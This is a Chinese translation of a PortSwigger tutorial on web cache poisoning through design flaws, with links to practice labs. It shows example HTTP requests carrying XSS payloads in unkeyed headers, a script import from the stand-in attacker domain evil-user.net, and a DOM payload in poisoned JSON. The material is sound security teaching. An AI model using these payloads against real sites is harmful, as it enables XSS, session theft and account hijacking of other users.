利用缓存设计缺陷
翻译
原文:https://portswigger.net/web-security/web-cache-poisoning/exploiting-design-flaws
- name: 翻译
desc: 原文:https://portswigger.net/web-security/web-cache-poisoning/exploiting-design-flaws
bgColor: '#F0DFB1'
textColor: 'green'
2
3
4
# 1利用缓存设计缺陷
在本节中,我们将更仔细地研究由于 缓存设计 中的一般缺陷而导致的 Web 缓存投毒漏洞。我们还将演示如何利用这些功能。
简而言之,如果网站以不安全的方式处理无键输入,并允许缓存后续的 HTTP 响应,则容易受到 Web 缓存投毒的影响。此漏洞可用于传递各种不同的攻击。
# 2通过 Web 缓存投毒实现 XSS 攻击
这也许是最简单的 Web 缓存投毒漏洞,无键输入反馈在可缓存的响应中,而没有进行适当的清理。
例如,请考虑以下请求和响应:
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: innocent-website.co.uk
HTTP/1.1 200 OK
Cache-Control: public
<meta property="og:image" content="https://innocent-website.co.uk/cms/social.png" />
2
3
4
5
6
7
在这里,X-Forwarded-Host
标头的值用于动态生成 Open Graph 图像的 URL,然后反馈在响应中。对于 Web 缓存投毒至关重要的是,X-Forwarded-Host
标头通常是无键的。在此示例中,缓存可能会被毒害,从而返回一个包含简单 XSS (opens new window) 载荷的响应:
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"
HTTP/1.1 200 OK
Cache-Control: public
<meta property="og:image" content="https://a."><script>alert(1)</script>"/cms/social.png" />
2
3
4
5
6
7
如果此响应被缓存,则所有访问/en?region=uk
的用户都将被提供此 XSS 载荷。此示例只是在受害者的浏览器中弹出一个警报,但真正的攻击可能会窃取密码并劫持用户帐户。
# 3通过 Web 缓存投毒来利用资源导入的不安全处理
某些网站 使用无键的标头 来动态生成用于导入资源的 URL(例如外部托管的 JavaScript 文件)。在这种情况下,如果攻击者 将相应标头的值 更改为他们控制的域,则可能会操纵 URL 以指向他们自己的恶意 JavaScript 文件。
如果缓存了包含此恶意 URL 的响应,则攻击者的 JavaScript 文件将被导入并在其请求具有匹配缓存密钥的任何用户的浏览器会话中执行。
如果包含此恶意 URL 的响应被缓存,则攻击者的 JavaScript 文件将被导入,当任意请求中具有匹配缓存键时,它将在用户的浏览器会话中执行。
GET / HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: evil-user.net
User-Agent: Mozilla/5.0 Firefox/57.0
HTTP/1.1 200 OK
<script src="https://evil-user.net/static/analytics.js"></script>
2
3
4
5
6
7
- name: 实验室-从业者
desc: 使用无键标头的 Web 缓存投毒 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/web-cache-poisoning/exploiting-design-flaws/lab-web-cache-poisoning-with-an-unkeyed-header
bgColor: '#001350'
textColor: '#4cc1ff'
2
3
4
5
6
# 4通过 Web 缓存投毒来利用 Cookie 处理漏洞
Cookie 通常用于在响应中动态生成内容。一个常见的示例,cookie 用于指示用户的首选语言,然后使用该语言来加载页面的相应版本:
GET /blog/post.php?mobile=1 HTTP/1.1
Host: innocent-website.com
User-Agent: Mozilla/5.0 Firefox/57.0
Cookie: language=pl;
Connection: close
2
3
4
5
在此示例中,将会请求博客文章的波兰语版本(language=pl
)。请注意,有关提供哪种语言版本的信息仅包含在Cookie
标头中。假设缓存键包含请求行和Host
标头,但不包含Cookie
标头。在这种情况下,如果对该请求的响应被缓存,则尝试访问此博客文章的所有后续用户,也将收到波兰语版本,无论他们实际选择的是哪种语言。
缓存对 cookie 的这种缺陷处理,也可以被 Web 缓存投毒技术利用。然而,在实践中,与基于标头的缓存投毒相比,此攻击向量相对较少。当存在基于 cookie 的缓存投毒漏洞时,它们往往会被快速识别和解决,因为合法用户意外地毒害了缓存。
- name: 实验室-从业者
desc: 通过无键的 Cookie 进行 Web 缓存投毒 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/web-cache-poisoning/exploiting-design-flaws/lab-web-cache-poisoning-with-an-unkeyed-cookie
bgColor: '#001350'
textColor: '#4cc1ff'
2
3
4
5
6
# 5使用多个标头利用Web缓存投毒漏洞
如上所述,一些网站容易受到简单的 Web 缓存投毒攻击。但是,某些漏洞需要更复杂的攻击手段,只有当攻击者能够操纵多个无键输入的请求时,该攻击才会变为可能。
例如,假设一个网站需要使用 HTTPS 进行安全通信。为了强制执行这一点,如果收到使用另一种协议的请求,网站会动态生成一个重定向,跳转至具有 HTTPS 的自身:
GET /random HTTP/1.1
Host: innocent-site.com
X-Forwarded-Proto: http
HTTP/1.1 301 moved permanently
Location: https://innocent-site.com/random
2
3
4
5
6
就其本身而言,这种行为不一定容易受到攻击。但是,我们之前了解过动态生成 URL 的漏洞,将这种行为与此漏洞相结合,攻击者就可以借此生成可缓存的响应,将用户重定向到恶意 URL。
- name: 实验室-从业者
desc: 多标头 Web 缓存投毒 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/web-cache-poisoning/exploiting-design-flaws/lab-web-cache-poisoning-with-multiple-headers
bgColor: '#001350'
textColor: '#4cc1ff'
2
3
4
5
6
# 6利用暴露过多信息的响应
有时,网站会泄露太多有关于 网站自身及其行为的信息,从而使自身更容易受到 Web 缓存投毒的影响。
# 6.1缓存控制指令
构建 Web 缓存投毒攻击时的挑战之一是,确保有害响应已经被缓存。这可能涉及大量的手动试验和错误,来研究缓存的行为运作方式。但是,响应有时会显式地暴露一些信息,从而帮助攻击者成功破坏缓存。
一个这样的例子是,当响应中包含有关于 清除缓存的频率,或 当前缓存响应的时间信息时:
HTTP/1.1 200 OK
Via: 1.1 varnish-v4
Age: 174
Cache-Control: public, max-age=1800
2
3
4
虽然这不会直接导致 Web 缓存投毒漏洞,但它确实为潜在的攻击者 节省了一些手头工作,因为他们确切地知道 何时发送有效负载 可以确保它被缓存。
这些信息还可以用来进行更微妙的攻击。攻击者可以协调安排 单个恶意请求的时间,以毒害缓存,而不是用请求轰炸后端服务器,直到某个请求失败为止,这可能会引起怀疑。
# 6.2Vary标头
Vary
标头的基本常用方式,也可以为攻击者提供帮助。Vary
标头指定了一个附加标头列表,这些标头应被视为该缓存键的一部分,即使它们通常是无键的。例如,它通常用于指定User-Agent
标头的键控,以便当缓存了网站的移动版本时,不会错误地将其提供给非移动用户。
这些信息还可用于 构建针对特定用户子集 的多步骤攻击。例如,如果攻击者知道User-Agent
标头是缓存键的一部分,则他们首先可以识别目标受害者的User-Agent
,然后定制攻击,以便仅影响具有该User-Agent
的用户群体。或者,他们可以确定哪个User-Agent
最常用于访问该站点,并定制一个影响最大用户数的攻击。
- name: 实验室-从业者
desc: 使用未知标头的定向 Web 缓存投毒 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/web-cache-poisoning/exploiting-design-flaws/lab-web-cache-poisoning-targeted-using-an-unknown-header
bgColor: '#001350'
textColor: '#4cc1ff'
2
3
4
5
6
# 7通过 Web 缓存投毒实现基于 DOM 的漏洞
如前所述,如果网站不安全地使用无键标头来导入文件,则攻击者可能会利用此漏洞来导入恶意文件。但是,这不仅仅适用于 JavaScript 文件。
许多网站使用 JavaScript 从后端获取和处理其他数据。如果脚本以不安全的方式 处理来自服务器的数据,则可能会导致各种基于 DOM 的漏洞。
例如,攻击者可以导入包含以下有效载荷的 JSON 文件来毒害缓存响应:
{"someProperty" : "<svg onload=alert(1)>"}
如果网站随后将此属性的值 传递到支持动态代码执行的接收器中,则有效负载将在 受害者浏览器的会话上下文 中执行。
如果你通过 Web 缓存投毒,迫使目标网站从你的服务器加载恶意 JSON 数据,你可能需要使用 CORS (opens new window) 授予目标网站对 JSON 的访问权限:
HTTP/1.1 200 OK
Content-Type: application/json
Access-Control-Allow-Origin: *
{
"malicious json" : "malicious json"
}
2
3
4
5
6
7
- name: 实验室-专家
desc: Web缓存投毒-通过严格的缓存标准来利用 DOM 漏洞 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/web-cache-poisoning/exploiting-design-flaws/lab-web-cache-poisoning-to-exploit-a-dom-vulnerability-via-a-cache-with-strict-cacheability-criteria
bgColor: '#001350'
textColor: '#d112fe'
2
3
4
5
6
# 8链接 Web 缓存投毒漏洞
正如我们前面看到的,有时攻击者需要使用多个标头来创建请求,才能引发恶意响应。但不同类型的攻击也是如此。Web 缓存投毒有时也需要攻击者 将我们讨论过的几种技术 链接在一起。通过将不同的漏洞链接在一起,可以暴露最初不可被利用的其他漏洞层面。
- name: 实验室-专家
desc: 组合 Web 缓存投毒漏洞 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/web-cache-poisoning/exploiting-design-flaws/lab-web-cache-poisoning-combining-vulnerabilities
bgColor: '#001350'
textColor: '#d112fe'
2
3
4
5
6